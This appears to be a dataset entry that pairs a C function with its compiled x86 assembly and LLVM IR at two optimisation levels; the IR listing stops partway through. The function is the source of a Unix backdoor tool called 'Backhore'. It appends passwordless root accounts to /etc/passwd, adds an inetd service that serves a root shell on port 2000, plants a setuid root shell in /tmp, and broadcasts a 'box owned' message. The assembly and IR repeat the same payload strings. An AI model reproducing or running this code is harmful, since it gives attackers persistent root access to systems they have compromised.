#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */
typedef int /*<<< orphan*/ FILE;

/* Variables and functions */
int /*<<< orphan*/ execl(char *, char *, char *, ...);
int /*<<< orphan*/ fclose(int /*<<< orphan*/ *);
int /*<<< orphan*/ *fopen(char *, char *);
int /*<<< orphan*/ fprintf(int /*<<< orphan*/ *, char *);
int /*<<< orphan*/ printf(char *, ...);
int /*<<< orphan*/ system(char *);
void handle(int cmd) {
  FILE *fd;
  switch (cmd) {
  case '1':
    printf("\nBackhore BETA by Theft\n");
    printf("theft@cyberspace.org\n");
    printf("Trojaning rc.local\n");
    fd = fopen("/etc/passwd", "a+");
    fprintf(fd, "mutiny::0:0:ethical mutiny crew:/root:/bin/sh");
    fclose(fd);
    printf("Trojan complete.\n");
    break;
  case '2':
    printf("\nBackhore BETA by Theft\n");
    printf("theft@cyberspace.org\n");
    printf("Sending systemwide message..\n");
    system("wall Box owned via the Ethical Mutiny Crew");
    printf("Message sent.\n");
    break;
  case '3':
    printf("\nBackhore BETA by Theft\n");
    printf("theft@cyberspace.org\n");
    printf("\nAdding inetd backdoor... (-p)\n");
    fd = fopen("/etc/services", "a+");
    fprintf(fd, "backdoor\t2000/tcp\tbackdoor\n");
    fd = fopen("/etc/inetd.conf", "a+");
    fprintf(fd, "backdoor\tstream\ttcp\tnowait\troot\t/bin/sh -i\n");
    execl("killall", "-HUP", "inetd", NULL);
    printf("\ndone.\n");
    printf("telnet to port 2000\n\n");
    break;
  case '4':
    printf("\nBackhore BETA by Theft\n");
    printf("theft@cyberspace.org\n");
    printf("\nAdding Suid Shell... (-s)\n");
    system("cp /bin/sh /tmp/.sh");
    system("chmod 4700 /tmp/.sh");
    system("chown root:root /tmp/.sh");
    printf("\nSuid shell added.\n");
    printf("execute /tmp/.sh\n\n");
    break;
  case '5':
    printf("\nBackhore BETA by Theft\n");
    printf("theft@cyberspace.org\n");
    printf("\nAdding root account... (-u)\n");
    fd = fopen("/etc/passwd", "a+");
    fprintf(fd, "hax0r::0:0::/:/bin/bash\n");
    printf("\ndone.\n");
    printf("uid 0 and gid 0 account added\n\n");
    break;
  case '6':
    printf("\nBackhore BETA by Theft\n");
    printf("theft@cyberspace.org\n");
    printf("Executing suid shell..\n");
    execl("/bin/.sh", "sh", 0);
    break;
  case '7':
    printf("\nBackhore BETA by Theft\n");
    printf("theft@cyberspace.org\n");
    printf("\nInfo... (-i)\n");
    printf("\n3 - Adds entries to /etc/services & /etc/inetd.conf giving       "
           "             you\n");
    printf("a root shell on port 2000. example: telnet  2000\n\n");
    printf("4 - Creates a copy of /bin/sh to /tmp/.sh which, whenever\n");
    printf("executed gives you a root shell. example:/tmp/.sh\n\n");
    printf("5 - Adds an account with uid and gid 0 to the passwd file.\n");
    printf("The login is 'mutiny' and there is no passwd.");
    break;
  case '8':
    printf("\nBackhore BETA by Theft\n");
    printf("\nhttp://theft.bored.org\n");
    printf("theft@cyberspace.org\n\n");
    break;
  default:
    printf("unknown command: %d\n", cmd);
    break;
  }
}


x86 assembly (clang, -O0):
<handle>:
push   %rbp
mov    %rsp,%rbp
sub    $0x20,%rsp
mov    %edi,-0x4(%rbp)
mov    -0x4(%rbp),%eax
add    $0xffffffcf,%eax
mov    %eax,%ecx
mov    %rcx,-0x18(%rbp)
sub    $0x7,%eax
ja     14de <handle+0x37e>
mov    -0x18(%rbp),%rax
lea    0xe75(%rip),%rcx
movslq (%rcx,%rax,4),%rax
add    %rcx,%rax
jmp    *%rax
lea    0xe85(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
lea    0xe90(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
lea    0xe98(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
lea    0xe9e(%rip),%rdi
lea    0xea3(%rip),%rsi
call   1070 <fopen@plt>
mov    %rax,-0x10(%rbp)
mov    -0x10(%rbp),%rdi
lea    0xe92(%rip),%rsi
call   1060 <fprintf@plt>
mov    -0x10(%rbp),%rdi
call   1030 <fclose@plt>
lea    0xeab(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
jmp    14ef <handle+0x38f>
lea    0xe18(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
lea    0xe23(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
lea    0xe8e(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
lea    0xe9e(%rip),%rdi
call   1040 <system@plt>
lea    0xebd(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
jmp    14ef <handle+0x38f>
lea    0xdcf(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
lea    0xdda(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
lea    0xe9d(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
lea    0xeaf(%rip),%rdi
lea    0xded(%rip),%rsi
call   1070 <fopen@plt>
mov    %rax,-0x10(%rbp)
mov    -0x10(%rbp),%rdi
lea    0xea2(%rip),%rsi
call   1060 <fprintf@plt>
lea    0xeb2(%rip),%rdi
lea    0xdc6(%rip),%rsi
call   1070 <fopen@plt>
mov    %rax,-0x10(%rbp)
mov    -0x10(%rbp),%rdi
lea    0xea7(%rip),%rsi
call   1060 <fprintf@plt>
lea    0xec7(%rip),%rdi
lea    0xec8(%rip),%rsi
lea    0xec6(%rip),%rdx
xor    %eax,%eax
mov    %eax,%ecx
mov    $0x0,%al
call   1080 <execl@plt>
lea    0xeba(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
lea    0xeb4(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
jmp    14ef <handle+0x38f>
lea    0xd16(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
lea    0xd21(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
lea    0xe9b(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
lea    0xea9(%rip),%rdi
call   1040 <system@plt>
lea    0xeb1(%rip),%rdi
call   1040 <system@plt>
lea    0xeb9(%rip),%rdi
call   1040 <system@plt>
lea    0xec6(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
lea    0xecc(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
jmp    14ef <handle+0x38f>
lea    0xca7(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
lea    0xcb2(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
lea    0xeb0(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
lea    0xcc0(%rip),%rdi
lea    0xcc5(%rip),%rsi
call   1070 <fopen@plt>
mov    %rax,-0x10(%rbp)
mov    -0x10(%rbp),%rdi
lea    0xea5(%rip),%rsi
call   1060 <fprintf@plt>
lea    0xdd9(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
lea    0xea4(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
jmp    14ef <handle+0x38f>
lea    0xc35(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
lea    0xc40(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
lea    0xe95(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
lea    0xe9f(%rip),%rdi
lea    0xe9e(%rip),%rsi
xor    %eax,%eax
mov    %eax,%edx
mov    $0x0,%al
call   1080 <execl@plt>
jmp    14ef <handle+0x38f>
lea    0xbed(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
lea    0xbf8(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
lea    0xe6e(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
lea    0xe6f(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
lea    0xeb5(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
lea    0xeda(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
lea    0xf07(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
lea    0xf2d(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
lea    0xf5b(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
jmp    14ef <handle+0x38f>
lea    0xb6a(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
lea    0xf68(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
lea    0xf73(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
jmp    14ef <handle+0x38f>
mov    -0x4(%rbp),%esi
lea    0xf74(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
add    $0x20,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<handle>:
push   %rbx
mov    %edi,%esi
lea    -0x31(%rsi),%eax
cmp    $0x7,%eax
ja     11f3 <handle+0x83>
lea    0xe7e(%rip),%rcx
movslq (%rcx,%rax,4),%rax
add    %rcx,%rax
jmp    *%rax
lea    0x1277(%rip),%rdi
call   1030 <puts@plt>
lea    0x1283(%rip),%rdi
call   1030 <puts@plt>
lea    0x128c(%rip),%rdi
call   1030 <puts@plt>
lea    0xe6a(%rip),%rdi
lea    0xe6f(%rip),%rsi
call   1070 <fopen@plt>
mov    %rax,%rbx
lea    0xe63(%rip),%rdi
mov    $0x2d,%esi
mov    $0x1,%edx
mov    %rax,%rcx
call   1080 <fwrite@plt>
mov    %rbx,%rdi
call   1040 <fclose@plt>
lea    0x125c(%rip),%rdi
pop    %rbx
jmp    1030 <puts@plt>
lea    0xf98(%rip),%rdi
xor    %eax,%eax
pop    %rbx
jmp    1060 <printf@plt>
lea    0x1200(%rip),%rdi
call   1030 <puts@plt>
lea    0x120c(%rip),%rdi
call   1030 <puts@plt>
lea    0x11bd(%rip),%rdi
call   1030 <puts@plt>
lea    0xe30(%rip),%rdi
call   1050 <system@plt>
lea    0x11c2(%rip),%rdi
pop    %rbx
jmp    1030 <puts@plt>
lea    0x11c3(%rip),%rdi
call   1030 <puts@plt>
lea    0x11cf(%rip),%rdi
call   1030 <puts@plt>
lea    0x1145(%rip),%rdi
call   1030 <puts@plt>
lea    0xe1e(%rip),%rdi
lea    0xdbb(%rip),%rbx
mov    %rbx,%rsi
call   1070 <fopen@plt>
lea    0xe16(%rip),%rdi
mov    $0x1b,%esi
mov    $0x1,%edx
mov    %rax,%rcx
call   1080 <fwrite@plt>
lea    0xe19(%rip),%rdi
mov    %rbx,%rsi
call   1070 <fopen@plt>
lea    0xe1a(%rip),%rdi
mov    $0x2b,%esi
mov    $0x1,%edx
mov    %rax,%rcx
call   1080 <fwrite@plt>
lea    0xe2d(%rip),%rdi
lea    0xe2e(%rip),%rsi
lea    0xe2c(%rip),%rdx
xor    %ecx,%ecx
xor    %eax,%eax
call   1090 <execl@plt>
lea    0x10e3(%rip),%rdi
call   1030 <puts@plt>
lea    0x10de(%rip),%rdi
pop    %rbx
jmp    1030 <puts@plt>
lea    0x1111(%rip),%rdi
call   1030 <puts@plt>
lea    0x111d(%rip),%rdi
call   1030 <puts@plt>
lea    0x1053(%rip),%rdi
call   1030 <puts@plt>
lea    0xde5(%rip),%rdi
call   1050 <system@plt>
lea    0xded(%rip),%rdi
call   1050 <system@plt>
lea    0xdf5(%rip),%rdi
call   1050 <system@plt>
lea    0x103e(%rip),%rdi
call   1030 <puts@plt>
lea    0x1045(%rip),%rdi
pop    %rbx
jmp    1030 <puts@plt>
lea    0x10b0(%rip),%rdi
call   1030 <puts@plt>
lea    0x10bc(%rip),%rdi
call   1030 <puts@plt>
lea    0xfb6(%rip),%rdi
call   1030 <puts@plt>
lea    0xca3(%rip),%rdi
lea    0xca8(%rip),%rsi
call   1070 <fopen@plt>
lea    0xdb2(%rip),%rdi
mov    $0x18,%esi
mov    $0x1,%edx
mov    %rax,%rcx
call   1080 <fwrite@plt>
lea    0x1019(%rip),%rdi
call   1030 <puts@plt>
lea    0xf8f(%rip),%rdi
pop    %rbx
jmp    1030 <puts@plt>
lea    0x1047(%rip),%rdi
call   1030 <puts@plt>
lea    0x1053(%rip),%rdi
call   1030 <puts@plt>
lea    0xf36(%rip),%rdi
call   1030 <puts@plt>
lea    0xd75(%rip),%rdi
lea    0xd74(%rip),%rsi
xor    %edx,%edx
xor    %eax,%eax
pop    %rbx
jmp    1090 <execl@plt>
lea    0x100b(%rip),%rdi
call   1030 <puts@plt>
lea    0x1017(%rip),%rdi
call   1030 <puts@plt>
lea    0xdbf(%rip),%rdi
call   1030 <puts@plt>
lea    0xdc1(%rip),%rdi
call   1030 <puts@plt>
lea    0xe08(%rip),%rdi
call   1030 <puts@plt>
lea    0xe2e(%rip),%rdi
call   1030 <puts@plt>
lea    0xe5c(%rip),%rdi
call   1030 <puts@plt>
lea    0xe83(%rip),%rdi
call   1030 <puts@plt>
lea    0xd06(%rip),%rdi
xor    %eax,%eax
pop    %rbx
jmp    1060 <printf@plt>
lea    0xf9c(%rip),%rdi
call   1030 <puts@plt>
lea    0xd2e(%rip),%rdi
call   1030 <puts@plt>
lea    0xd3a(%rip),%rdi
pop    %rbx
jmp    1030 <puts@plt>

LLVM IR (-O0):
@.str = [25 x i8] c"\0ABackhore BETA by Theft\0A\00"
@.str.1 = [22 x i8] c"theft@cyberspace.org\0A\00"
@.str.2 = [20 x i8] c"Trojaning rc.local\0A\00"
@.str.3 = [12 x i8] c"/etc/passwd\00"
@.str.4 = [3 x i8] c"a+\00"
@.str.5 = [46 x i8] c"mutiny::0:0:ethical mutiny crew:/root:/bin/sh\00"
@.str.6 = [18 x i8] c"Trojan complete.\0A\00"
@.str.7 = [30 x i8] c"Sending systemwide message..\0A\00"
@.str.8 = [43 x i8] c"wall Box owned via the Ethical Mutiny Crew\00"
@.str.9 = [15 x i8] c"Message sent.\0A\00"
@.str.10 = [32 x i8] c"\0AAdding inetd backdoor... (-p)\0A\00"
@.str.11 = [14 x i8] c"/etc/services\00"
@.str.12 = [28 x i8] c"backdoor\092000/tcp\09backdoor\0A\00"
@.str.13 = [16 x i8] c"/etc/inetd.conf\00"
@.str.14 = [44 x i8] c"backdoor\09stream\09tcp\09nowait\09root\09/bin/sh -i\0A\00"
@.str.15 = [8 x i8] c"killall\00"
@.str.16 = [5 x i8] c"-HUP\00"
@.str.17 = [6 x i8] c"inetd\00"
@.str.18 = [8 x i8] c"\0Adone.\0A\00"
@.str.19 = [22 x i8] c"telnet to port 2000\0A\0A\00"
@.str.20 = [28 x i8] c"\0AAdding Suid Shell... (-s)\0A\00"
@.str.21 = [20 x i8] c"cp /bin/sh /tmp/.sh\00"
@.str.22 = [20 x i8] c"chmod 4700 /tmp/.sh\00"
@.str.23 = [25 x i8] c"chown root:root /tmp/.sh\00"
@.str.24 = [20 x i8] c"\0ASuid shell added.\0A\00"
@.str.25 = [19 x i8] c"execute /tmp/.sh\0A\0A\00"
@.str.26 = [30 x i8] c"\0AAdding root account... (-u)\0A\00"
@.str.27 = [25 x i8] c"hax0r::0:0::/:/bin/bash\0A\00"
@.str.28 = [32 x i8] c"uid 0 and gid 0 account added\0A\0A\00"
@.str.29 = [24 x i8] c"Executing suid shell..\0A\00"
@.str.30 = [9 x i8] c"/bin/.sh\00"
@.str.31 = [3 x i8] c"sh\00"
@.str.32 = [15 x i8] c"\0AInfo... (-i)\0A\00"
@.str.33 = [84 x i8] c"\0A3 - Adds entries to /etc/services & /etc/inetd.conf giving you\0A\00"
@.str.34 = [51 x i8] c"a root shell on port 2000. example: telnet 2000\0A\0A\00"
@.str.35 = [59 x i8] c"4 - Creates a copy of /bin/sh to /tmp/.sh which, whenever\0A\00"
@.str.36 = [52 x i8] c"executed gives you a root shell. example:/tmp/.sh\0A\0A\00"
@.str.37 = [60 x i8] c"5 - Adds an account with uid and gid 0 to the passwd file.\0A\00"
@.str.38 = [46 x i8] c"The login is 'mutiny' and there is no passwd.\00"
@.str.39 = [25 x i8] c"\0Ahttp://theft.bored.org\0A\00"
@.str.40 = [23 x i8] c"theft@cyberspace.org\0A\0A\00"
@.str.41 = [21 x i8] c"unknown command: %d\0A\00"
define void @handle(i32 %0) {
%2 = alloca i32
%3 = alloca i32*
store i32 %0, i32* %2
%4 = load i32, i32* %2
switch i32 %4, label %71 [
i32 49, label %5
i32 50, label %15
i32 51, label %21
i32 52, label %34
i32 53, label %43
i32 54, label %52
i32 55, label %57
i32 56, label %67
]
5: ; preds = %1
%6 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([25 x i8], [25 x i8]* @.str, i64 0, i64 0))
%7 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([22 x i8], [22 x i8]* @.str.1, i64 0, i64 0))
%8 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([20 x i8], [20 x i8]* @.str.2, i64 0, i64 0))
%9 = call i32* @fopen(i8* getelementptr inbounds ([12 x i8], [12 x i8]* @.str.3, i64 0, i64 0), i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.4, i64 0, i64 0))
store i32* %9, i32** %3
%10 = load i32*, i32** %3
%11 = call i32 @fprintf(i32* %10, i8* getelementptr inbounds ([46 x i8], [46 x i8]* @.str.5, i64 0, i64 0))
%12 = load i32*, i32** %3
%13 = call i32 @fclose(i32* %12)
%14 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([18 x i8], [18 x i8]* @.str.6, i64 0, i64 0))
br label %74
15: ; preds = %1
%16 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([25 x i8], [25 x i8]* @.str, i64 0, i64 0))
%17 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([22 x i8], [22 x i8]* @.str.1, i64 0, i64 0))
%18 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([30 x i8], [30 x i8]* @.str.7, i64 0, i64 0))
%19 = call i32 @system(i8* getelementptr inbounds ([43 x i8], [43 x i8]* @.str.8, i64 0, i64 0))
%20 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([15 x i8], [15 x i8]* @.str.9, i64 0, i64 0))
br label %74
21: ; preds = %1
%22 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([25 x i8], [25 x i8]* @.str, i64 0, i64 0))
%23 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([22 x i8], [22 x i8]* @.str.1, i64 0, i64 0))
%24 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([32 x i8], [32 x i8]* @.str.10, i64 0, i64 0))
%25 = call i32* @fopen(i8* getelementptr inbounds ([14 x i8], [14 x i8]* @.str.11, i64 0, i64 0), i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.4, i64 0, i64 0))
store i32* %25, i32** %3
%26 = load i32*, i32** %3
%27 = call i32 @fprintf(i32* %26, i8* getelementptr inbounds ([28 x i8], [28 x i8]* @.str.12, i64 0, i64 0))
%28 = call i32* @fopen(i8* getelementptr inbounds ([16 x i8], [16 x i8]* @.str.13, i64 0, i64 0), i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.4, i64 0, i64 0))
store i32* %28, i32** %3
%29 = load i32*, i32** %3
%30 = call i32 @fprintf(i32* %29, i8* getelementptr inbounds ([44 x i8], [44 x i8]* @.str.14, i64 0, i64 0))
%31 = call i32 (i8*, i8*, i8*, ...) @execl(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.15, i64 0, i64 0), i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str.16, i64 0, i64 0), i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str.17, i64 0, i64 0), i8* null)
%32 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.18, i64 0, i64 0))
%33 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([22 x i8], [22 x i8]* @.str.19, i64 0, i64 0))
br label %74
34: ; preds = %1
%35 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([25 x i8], [25 x i8]* @.str, i64 0, i64 0))
%36 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([22 x i8], [22 x i8]* @.str.1, i64 0, i64 0))
%37 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([28 x i8], [28 x i8]* @.str.20, i64 0, i64 0))
%38 = call i32 @system(i8* getelementptr inbounds ([20 x i8], [20 x i8]* @.str.21, i64 0, i64 0))
%39 = call i32 @system(i8* getelementptr inbounds ([20 x i8], [20 x i8]* @.str.22, i64 0, i64 0))
%40 = call i32 @system(i8* getelementptr inbounds ([25 x i8], [25 x i8]* @.str.23, i64 0, i64 0))
%41 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([20 x i8], [20 x i8]* @.str.24, i64 0, i64 0))
%42 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([19 x i8], [19 x i8]* @.str.25, i64 0, i64 0))
br label %74
43: ; preds = %1
%44 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([25 x i8], [25 x i8]* @.str, i64 0, i64 0))
%45 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([22 x i8], [22 x i8]* @.str.1, i64 0, i64 0))
%46 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([30 x i8], [30 x i8]* @.str.26, i64 0, i64 0))
%47 = call i32* @fopen(i8* getelementptr inbounds ([12 x i8], [12 x i8]* @.str.3, i64 0, i64 0), i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.4, i64 0, i64 0))
store i32* %47, i32** %3
%48 = load i32*, i32** %3
%49 = call i32 @fprintf(i32* %48, i8* getelementptr inbounds ([25 x i8], [25 x i8]* @.str.27, i64 0, i64 0))
%50 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.18, i64 0, i64 0))
%51 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([32 x i8], [32 x i8]* @.str.28, i64 0, i64 0))
br label %74
52: ; preds = %1
%53 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([25 x i8], [25 x i8]* @.str, i64 0, i64 0))
%54 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([22 x i8], [22 x i8]* @.str.1, i64 0, i64 0))
%55 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([24 x i8], [24 x i8]* @.str.29, i64 0, i64 0))
%56 = call i32 (i8*, i8*, i8*, ...) @execl(i8* getelementptr inbounds ([9 x i8], [9 x i8]* @.str.30, i64 0, i64 0), i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.31, i64 0, i64 0), i8* null)
br label %74
57: ; preds = %1
%58 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([25 x i8], [25 x i8]* @.str, i64 0, i64 0))
%59 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([22 x i8], [22 x i8]* @.str.1, i64 0, i64 0))
%60 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([15 x i8], [15 x i8]* @.str.32, i64 0, i64 0))
%61 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([84 x i8], [84 x i8]* @.str.33, i64 0, i64 0))
%62 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([51 x i8], [51 x i8]* @.str.34, i64 0, i64 0))
%63 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([59 x i8], [59 x i8]* @.str.35, i64 0, i64 0))
%64 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([52 x i8], [52 x i8]* @.str.36, i64 0, i64 0))
%65 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([60 x i8], [60 x i8]* @.str.37, i64 0, i64 0))
%66 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([46 x i8], [46 x i8]* @.str.38, i64 0, i64 0))
br label %74
67: ; preds = %1
%68 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([25 x i8], [25 x i8]* @.str, i64 0, i64 0))
%69 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([25 x i8], [25 x i8]* @.str.39, i64 0, i64 0))
%70 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([23 x i8], [23 x i8]* @.str.40, i64 0, i64 0))
br label %74
71: ; preds = %1
%72 = load i32, i32* %2
%73 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([21 x i8], [21 x i8]* @.str.41, i64 0, i64 0), i32 %72)
br label %74
74: ; preds = %71, %67, %57, %52, %43, %34, %21, %15, %5
ret void
}

LLVM IR (-O2):
@.str.3 = [12 x i8] c"/etc/passwd\00"
@.str.4 = [3 x i8] c"a+\00"
@.str.5 = [46 x i8] c"mutiny::0:0:ethical mutiny crew:/root:/bin/sh\00"
@.str.8 = [43 x i8] c"wall Box owned via the Ethical Mutiny Crew\00"
@.str.11 = [14 x i8] c"/etc/services\00"
@.str.12 = [28 x i8] c"backdoor\092000/tcp\09backdoor\0A\00"
@.str.13 = [16 x i8] c"/etc/inetd.conf\00"
@.str.14 = [44 x i8] c"backdoor\09stream\09tcp\09nowait\09root\09/bin/sh -i\0A\00"
@.str.15 = [8 x i8] c"killall\00"
@.str.16 = [5 x i8] c"-HUP\00"
@.str.17 = [6 x i8] c"inetd\00"
@.str.21 = [20 x i8] c"cp /bin/sh /tmp/.sh\00"
@.str.22 = [20 x i8] c"chmod 4700 /tmp/.sh\00"
@.str.23 = [25 x i8] c"chown root:root /tmp/.sh\00"
@.str.27 = [25 x i8] c"hax0r::0:0::/:/bin/bash\0A\00"
@.str.30 = [9 x i8] c"/bin/.sh\00"
@.str.31 = [3 x i8] c"sh\00"
@.str.38 = [46 x i8] c"The login is 'mutiny' and there is no passwd.\00"
@.str.41 = [21 x i8] c"unknown command: %d\0A\00"
@str.42 = [24 x i8] c"\0Ahttp://theft.bored.org\00"
@str.43 = [22 x i8] c"theft@cyberspace.org\0A\00"
@str.46 = [14 x i8] c"\0AInfo... (-i)\00"
@str.47 = [83 x i8] c"\0A3 - Adds entries to /etc/services & /etc/inetd.conf giving you\00"
@str.48 = [50 x i8] c"a root shell on port 2000. example: telnet 2000\0A\00"
@str.49 = [58 x i8] c"4 - Creates a copy of /bin/sh to /tmp/.sh which, whenever\00"
@str.50 = [51 x i8] c"executed gives you a root shell. example:/tmp/.sh\0A\00"
@str.51 = [59 x i8] c"5 - Adds an account with uid and gid 0 to the passwd file.\00"
@str.54 = [23 x i8] c"Executing suid shell..\00"
@str.57 = [29 x i8] c"\0AAdding root account... (-u)\00"
@str.59 = [31 x i8] c"uid 0 and gid 0 account added\0A\00"
@str.62 = [27 x i8] c"\0AAdding Suid Shell... (-s)\00"
@str.63 = [19 x i8] c"\0ASuid shell added.\00"
@str.64 = [18 x i8] c"execute /tmp/.sh\0A\00"
@str.67 = [31 x i8] c"\0AAdding inetd backdoor... (-p)\00"
@str.68 = [7 x i8] c"\0Adone.\00"
@str.69 = [21 x i8] c"telnet to port 2000\0A\00"
@str.72 = [29 x i8] c"Sending systemwide message..\00"
@str.73 = [14 x i8] c"Message sent.\00"
@str.74 = [24 x i8] c"\0ABackhore BETA by Theft\00"
@str.75 = [21 x i8] c"theft@cyberspace.org\00"
@str.76 = [19 x i8] c"Trojaning rc.local\00"
@str.77 = [17 x i8] c"Trojan complete.\00"
define void @handle(i32 %0) {
switch i32 %0, label %63 [
i32 49, label %2
i32 50, label %10
i32 51, label %16
i32 52, label %27
i32 53, label %36
i32 54, label %44
i32 55, label %49
i32 56, label %59
]
2: ; preds = %1
%3 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([24 x i8], [24 x i8]* @str.74, i64 0, i64 0))
%4 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([21 x i8], [21 x i8]* @str.75, i64 0, i64 0))
%5 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([19 x i8], [19 x i8]* @str.76, i64 0, i64 0))
%6 = tail call i32* @fopen(i8* getelementptr inbounds ([12 x i8], [12 x i8]* @.str.3, i64 0, i64 0), i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.4, i64 0, i64 0))
%7 = tail call i64 @fwrite(i8* getelementptr inbounds ([46 x i8], [46 x i8]* @.str.5, i64 0, i64 0), i64 45, i64 1, i32* %6)
%8 = tail call i32 @fclose(i32* %6)
%9 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([17 x i8], [17 x i8]* @str.77, i64 0, i64 0))
br label %65
10: ; preds = %1
%11 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([24 x i8], [24 x i8]* @str.74, i64 0, i64 0))
%12 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([21 x i8], [21 x i8]* @str.75, i64 0, i64 0))
%13 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([29 x i8], [29 x i8]* @str.72, i64 0, i64 0))
%14 = tail call i32 @system(i8* getelementptr inbounds ([43 x i8], [43 x i8]* @.str.8, i64 0, i64 0))
%15 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([14 x i8], [14 x i8]* @str.73, i64 0, i64 0))
br label %65
16: ; preds = %1
%17 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([24 x i8], [24 x i8]* @str.74, i64 0, i64 0))
%18 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([21 x i8], [21 x i8]* @str.75, i64 0, i64 0))
%19 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([31 x i8], [31 x i8]* @str.67, i64 0, i64 0))
